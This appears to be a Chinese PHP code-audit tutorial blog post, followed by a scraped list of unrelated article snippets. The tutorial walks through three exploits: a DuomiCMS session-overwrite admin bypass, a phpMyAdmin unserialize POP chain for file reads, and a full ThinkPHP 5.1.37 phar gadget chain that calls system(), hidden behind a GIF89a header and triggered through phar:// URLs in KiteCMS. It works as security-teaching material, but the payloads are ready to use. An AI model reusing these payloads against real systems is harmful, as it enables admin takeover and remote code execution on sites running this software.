代码审计-PHP模型开发篇动态调试反序列化变量覆盖TP框架原生POP链
知识点
1、PHP审计-动态调试-变量覆盖
2、PHP审计-动态调试-原生反序列化
3、PHP审计-动态调试-框架反序列化
PHP常见漏洞关键字
SQL注入:
select insert update delete mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等
通用关键字
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等
一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS
搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
1、找到一个配置common.php(搜$$)
2、找一个利用点(后台登录点覆盖session)
login.php->checkuser()->keepUser()
3、动态调试获取保持登录当前的session
4、找一个能将session覆盖的地方(session_start函数调用)
-session_start函数调用
5、session覆盖进后台
_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin
搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
1、搜unserialize找入口
/scripts/setup.php
$configuration = unserialize($_POST['configuration']);
2、找直接调用魔术方法__wakeup()
libraries/common.lib.php
触发:$_SESSION['PMA_Config']->__wakeup();libraries/Config.class.php
触发:$this->load($this->getSource());
3、跟踪load和getSource实现
getSource:获取变量source
loade:eval执行file_get_contents
4、构造pop链发包触发文件读取
<?php
class PMA_Config{
var $source = 'd:/1.txt';
}$p=new PMA_Config();
echo serialize($p);
?>
触发:
Post:/scripts/setup.php
action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}
反序列化本身并不是一个漏洞,而是通过反序列化调用到了其他漏洞函数从而利用反序列化执行例如RCE、文件读取等效果。
5、动态调试下断点看POP链
断点:$configuration = unserialize($_POST['configuration']);
三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS
搭建环境:Phpstudy2018+Php7.0+Apache+Mysql
1、源码目录分析采用TP框架开发
2、获取TP框架对应版本和漏洞情况
const VERSION = '5.1.37 LTS';
3、使用PHPGGC模版生成Phar文件
参考:https://www.cnblogs.com/zzjdbk/p/13030571.html
/phpggc-master/gadgetchains/ThinkPHP/RCE/1
调用链:gadgets.php
触发生成:chain.php
phar利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
xiaodi.php
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}
namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "notepad");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}
namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}
namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('xiaodi.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>
4、找个上传文件地方后上传xiaodi.png
5、找加载文件地方(搜is_dir)
admin/controller/Admin.php
scanFiles、scanFilesForTree
6.在使用phar触发png 的pop链
http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.pnghttp://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png
相关文章:

代码审计-PHP模型开发篇动态调试反序列化变量覆盖TP框架原生POP链
知识点 1、PHP审计-动态调试-变量覆盖 2、PHP审计-动态调试-原生反序列化 3、PHP审计-动态调试-框架反序列化PHP常见漏洞关键字 SQL注入: select insert update delete mysql_query mysqli等 文件上传: $_FILES,type"file"&…...

前端动态旋转地球背景
效果图 贴下源码 <template><div class"map-bg"><div class"canvas" id"canvs"></div><canvas class"canvasxk" id"canv"></canvas></div> </template><script setup …...

MySQL中的子查询
子查询,在一个查询语句中又出现了查询语句 子查询可以出现在from和where后面 from 表子查询(结果一般为多行多列)把查询结果继续当一张表对待 where 标量子查询(结果集只有一行一列)查询身高最高的学生,查询到一个最高身高 列子查询(结果集只有一行多列) 对上表进行如下操作 …...

Unity打开安卓设备不同的设置面板
1,打开安卓设备不同的设置面板,我还贴心的把Android官网的链接放下面了 2,使用也很方便:unity按钮事件上拖这个脚本,注册MyOpenAndroidSettings方法,参数 填 和枚举值相应的数字 // 功能:打开…...

低空经济+无人机:低空物资运输技术详解
随着科技的飞速发展和航空产业的日益壮大,低空经济已成为全球经济的重要组成部分。无人机作为低空经济的重要载体,其在低空物资运输领域的应用逐渐凸显,为物流、救援等多个领域带来了革命性的变革。 一、低空经济概述 低空经济是指在垂直高度…...

全场景智能终端RK3288主板在智能垃圾回收项目的应用,支持鸿蒙,支持全国产化
全场景智能终端主板AIoT-3588A推出的智能化垃圾回收项目,旨在解决城市化进程中日益突出的垃圾处理问题。智能垃圾分类箱具备触屏操作、自动称重、分类投放以及电子语音播报提示等多项功能,居民能够经过分类积分卡、手机扫码、人脸识别等多种途径进行投放…...

QT设计模式:建造者模式
基本概念 建造者模式是一种创建型设计模式,它允许你创建复杂对象的过程独立于该对象的组成部分以及它们的组装方式。这样可以构造出不同的对象表示。 在建造者模式中,将创建对象的过程和对象的表示分离,通过一步步的构建,可以得…...

个人微信api
简要描述: 退出群聊 请求URL: http://域名地址/quitChatRoom 请求方式: POST 请求头Headers: Content-Type:application/json Authorization:login接口返回 参数: 参数名 必选 类型 …...

使用Ownips工具获取海外电商网站wish商品价格
一、引言 在数字化浪潮汹涌的今天,互联网已经成为我们生活、工作中不可或缺的一部分。而在这个虚拟的世界里,每一个设备都需要一个独特的标识来确保信息的准确传递,这个标识就是IP地址。而在众多IP地址中,静态IP因其独特的稳定性…...

【FFmpeg】调用ffmpeg进行H264软解
调用FFmpeg库实现264软件解码 1. FFmpeg的编译2. 调用FFmpeg实现H264软解2.1 基本框架2.2 代码实现2.3 测试结果 3. 分析工具3.1 码流分析3.2 YUV分析 示例工程 【FFmpeg】调用FFmpeg库实现264软编 1. FFmpeg的编译 FFmpeg在Windows下的编译参考:http://t.csdni…...

网络安全防护:抵御DDoS和CC攻击
在当今数字化时代,网络安全已成为任何组织或个人不可忽视的重要议题。DDoS(分布式拒绝服务)攻击和CC(命令与控制)攻击作为两种最为常见的网络攻击方式,给网络运营者和用户带来了巨大的威胁和影响。本文将介…...

初次查询大数据信用报告,需要注意哪些问题?
随着大数据的普及,基于大数据技术的大数据信用也变得越来越重要,比如在申贷之前,不少地方都会查询申贷人的大数据信用,作为风险控制的必要手段,那对于初次查询大数据信用报告的人来说,需要注意哪些问题呢?…...

最短路径[floyd算法]-----视频讲解+代码实现
求最短路径,一般有三种方法: 单源最短路径--Dijkstra算法 此算法只能求不带负权值的有向无环图 单源最短路径--Bellman-Ford算法(少考) 此算法优点在于:可以求带权值的右向无环图 但只是缺点明显,时间复杂度…...

图像/视频恢复和增强CodeFormer
github:https://github.com/sczhou/CodeFormer 尝试增强旧照片/修复人工智能艺术 面部修复 面部色彩增强和恢复 脸部修复...

WPF中ObservableCollection
在WPF(Windows Presentation Foundation)中,ObservableCollection<T> 是一个非常重要的类,它用于实现动态数据绑定功能。这个类位于 System.Collections.ObjectModel 命名空间中,是 ICollection<T>, IList…...

如何用鼠标点击在picturebox的图像上做标记
鼠标点击图像,在点击处画一个圆。 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Drawing.Drawing2D; using System.Linq; using System.Text; using System.Threading.T…...

k8s介绍
一、前言 Kubernetes(通常简称为 K8s)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序,它提供了丰富的功能使得用户能够轻松地管理大规模的容器集群,包括自动化部署和扩展、服务发现和负载均衡、存…...

K-means聚类模型:深入解析与应用指南
K-means聚类是一种广泛使用的无监督学习算法,它通过迭代过程将数据集划分为K个聚类。以下是一篇关于K-means聚类模型的技术文章,将从不同的角度进行详尽的描述。 1. 引言 K-means聚类算法是一种简单且高效的聚类方法,广泛应用于数据挖掘、市…...

CTF-密码学基础
概述 密码学(Cryptolopy):是研究信息系统安全保密的科学 密码学研究的两个方向: 密码编码学(Cryptography):主要研究对信息进行编码,实现对信息的隐蔽密码分析学(Cryptanalytics):主要研究加密信息的破译或消息的伪造…...

代码随想录算法训练营day22 | 654.最大二叉树、617.合并二叉树、700.二叉搜索树中的搜索、98.验证二叉搜索树
654.最大二叉树 和构造二叉树差不多,本题使用索引的方式 class Solution:def constructMaximumBinaryTree(self, nums: List[int]) -> Optional[TreeNode]:return self.traversal(nums, 0, len(nums)-1)def traversal(self, nums, left, right):if left > r…...

企业信息防泄漏软件分析:盘点常用企业信息防泄漏软件
在当今数字化时代,企业信息防泄漏软件已成为保障企业数据安全不可或缺的一环。市面上众多的防泄漏软件各具特色,如何从中挑选出最适合自己企业的产品,成为了一个值得深入探讨的话题。 一、企业信息防泄漏软件分析 首先,我们需要…...

Rancher-Kubewarden-保姆级教学-含Demo测试
一、什么是Kubewarden? What is Kubewarden? | Kubewarden 1、就是容器集群的准入策略引擎。 1、使用的策略其实就是k8s原生的security context. 2、使用WebAssembly来编写策略。 1、WebAssembly,可以使用擅长的开发语言来编写策略。(下面的…...

Lumerical Script ------ array 数组类型 和 matrix 矩阵类型
Lumerical Script ------ array 数组类型 和 matrix 矩阵类型 引言正文array 数组类型matrix 矩阵类型引言 这篇仅仅用作个人笔记,因为作者本人比较擅长 Python,每次写 Lumerical Script 总是会写错代码。 正文 array 数组类型 Lumerical Script 脚本有些像 Matlab 脚本,…...

Springboot自动装配源码分析
版本 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.4.RELEASE</version><relativePath/> <!-- lookup parent from repository --> </par…...

Visual Transformer (ViT)模型详解 动图讲解
1 Vit简介 1.1 Vit的由来 ViT是2020年Google团队提出的将Transformer应用在图像分类的模型,虽然不是第一篇将transformer应用在视觉任务的论文,但是因为其模型“简单”且效果好,可扩展性强(scalable,模型越大效果越好),成为了transformer在CV领域应用的里程碑著作,也…...

C++:完美转发(一)(std::forward)
一、理解引用折叠 (一)引用折叠 1. 在C中,“引用的引用”是非法的。像 auto& &rx x;(注意两个&之间有空格)这种直接定义引用的引用是不合法的,但是编译器在通过类型别名或模板参数推导等语境…...

西部首个全域直播基地,打造西部直播基地领军形象
天府锋巢直播产业基地作为西部直播产业的领军者,以其前瞻性的战略布局和卓越的服务体系,正加速推动全域直播的快速发展,助力直播产业实现新升级。该基地作为成都规模最大的直播基地,以加快全域直播为核心目标,通过促进…...

钟表——蓝桥杯十三届2022国赛大学B组真题
问题分析 这个问题的关键有两点:1.怎么计算时针,分针,秒针之间的夹角,2.时针,分针,秒针都是匀速运动的,并非跳跃性的。问题1很好解决看下面的代码就能明白,我们先考虑问题2…...

CSS 之 圆形波浪进度条效果
一、简介 本篇博客讲述了如何实现一个圆形波浪进度条的样式效果,具体效果参考下方GIF图。该样式的加载进度条可以用在页面跳转或数据处理等情况下的加载动画,比起普通的横条进度条来说,样式效果更生动美观。 实现思路: 这…...

按下鼠标进行拖拽,让元素跟随鼠标进行移动,鼠标抬起,元素停止移;js鼠标拖拽 (鼠标按下事件:onmousedown、鼠标移动事件:onmousemove、鼠标抬起事件:onmouseup)
需求如下: 按下鼠标进行拖拽,让元素跟随鼠标进行移动,鼠标抬起,元素停止移动。 解析: 鼠标按下事件:onmousedown 鼠标移动事件:onmousemove 鼠标抬起事件:onmouseup <!DOCT…...